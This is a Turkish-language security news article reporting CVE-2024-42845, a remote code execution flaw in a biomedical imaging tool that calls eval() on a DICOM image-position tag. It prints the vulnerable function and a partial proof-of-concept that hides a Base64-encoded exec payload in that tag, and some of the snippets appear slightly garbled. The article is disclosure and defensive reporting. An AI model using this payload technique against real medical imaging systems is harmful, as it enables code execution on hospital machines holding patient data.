Tıbbi Görüntülemede Uzaktan Kod Yürütme Güvenlik Açığı


Tic TAC Uyarısı: Tıbbi Görüntülemede Uzaktan Kod Yürütme Güvenlik Açığı

Dünya çapında kullanılan popüler bir açık kaynaklı biyomedikal araçta kritik bir Uzaktan Kod Yürütme (RCE) güvenlik açığı keşfedildi.

CVE-2024-42845 olarak tanımlanan bu güvenlik açığı, tıbbi verilerin güvenliği ve görüntüleme süreçlerinin bütünlüğü konusunda endişelere yol açtı.

Güvenlik açığı en son sürümde düzeltildi ancak olay, sağlık yazılımı sektöründe sürekli dikkatli olunması gerektiğinin altını çiziyor.

Güvenlik açığı, tıbbi görüntülerin iletilmesi, saklanması ve paylaşılması için bir standart olan DICOM (Tıpta Dijital Görüntüleme ve İletişim) dosyalarının işlenmesinde yatmaktadır.

DICOM dünya çapında hastanelerde ve kliniklerde geniş çapta benimseniyor ve bu da herhangi bir güvenlik kusurunun potansiyel olarak geniş kapsamlı olmasını sağlıyor.

2024 MITRE ATT&CK Evaluation Results Released for SMEs & MSPs -> Download Free Guide

CVE-2024-42845 – Güvenlik Açığı

CVE-2024-42845 güvenlik açığı, yazılımdaki DICOM standart etiketini (0x0020, 0x0032) işleyen bir işlevle ilişkilidir.

Bu etiket, bir görüntünün sol üst köşe vokselinin koordinatlarını içerir. Sorun, kötü niyetli bir aktör tarafından manipüle edildiğinde rastgele kod çalıştırabilen Python’un eval() işlevinin kullanılmasından kaynaklanıyor.

def GetImagePosition(self):
    try:
        data = self.data_image[str(0x020)][str(0x032)].replace(",", ".")
    except KeyError:
        return ""
    if data:
        return [eval(value) for value in data.split("\")]
    return ""

Burada, bir DICOM dosyasından çıkarılan veriler üzerinde eval() işlevi çağrılır ve görüntü konum indeksine enjekte edilmesi durumunda kötü amaçlı bir yükün yürütülmesine olanak sağlanır.

Sorun, standart veri yüklerinin kod içindeki bir karakter değiştirme işlemi tarafından engellenmesidir. Ancak saldırganlar, Python’un standart kütüphanesinde kolayca bulunabilen Base64’ü kullanarak kötü amaçlı komutları kodlayarak bu durumu aşabilirler.

Resim hastası
Resim hastası

Koddan Yararlanma Örneği

Bu güvenlik açığından yararlanmak için, saldırganın bir DICOM dosyasını değiştirmesi veya oluşturması ve yükünü (0x0020, 0x0032) etiketine dördüncü değer olarak eklemesi gerekir. Değiştirilen dosya yüklendikten sonra yük yürütülür.

import pydicom
import base64
def encode_payload(plain_payload):
    data = open(plain_payload, 'rb').read()
    return f"exec(import('base64').b64decode({base64.b64encode(data)})"
def prepare_dicom_payload(dicom_file_path, payload):
    dicom_data = pydicom.dcmread(dicom_file_path)
    values = dicom_data[0x0020, 0x0032].value
    mal = [str(i) for i in values]
    mal.append(encode_payload(payload))
    # Further steps to save the modified DICOM file

Tıbbi Görüntüleme Sistemlerinin Güvenliğinin Sağlanması

Bu güvenlik açığı, tıbbi görüntüleme yazılımının geliştirilmesinde ve dağıtımında sıkı güvenlik uygulamalarının önemini vurgulamaktadır.

Etkilenen yazılımın kullanıcılarının derhal en son sürüme güncellemeleri önerilir. Geliştiriciler, güvenli kodlama uygulamalarına öncelik vermeli ve benzer güvenlik açıklarını önlemek için ek giriş doğrulama tekniklerini dikkate almalıdır.

Dicom güvenlik açığı
Dicom güvenlik açığı

Araştırmacı Partywave tarafından hazırlanan bir rapora göre, bu RCE güvenlik açığının keşfi ve sorumlu bir şekilde ifşa edilmesi, açık kaynaklı tıbbi araçların güvenliğini sağlamak için gereken işbirlikçi çabaları vurguluyor.

Güvenlik açığı giderilmiş olsa da, bu durum sağlık hizmetlerinde siber güvenliğin karşı karşıya olduğu devam eden zorlukları hatırlatıyor.

Çabaları, tıbbi alandaki siber güvenlik ortamının güçlenmeye devam etmesini, hassas hasta verilerinin korunmasını ve tıbbi teknolojilerin güvenilirliğinin artırılmasını sağlıyor.

ANY.RUN ile Gerçek Dünyadaki Kötü Amaçlı Bağlantıları, Kötü Amaçlı Yazılımları ve Kimlik Avı Saldırılarını Araştırın – Ücretsiz Deneyin



Source link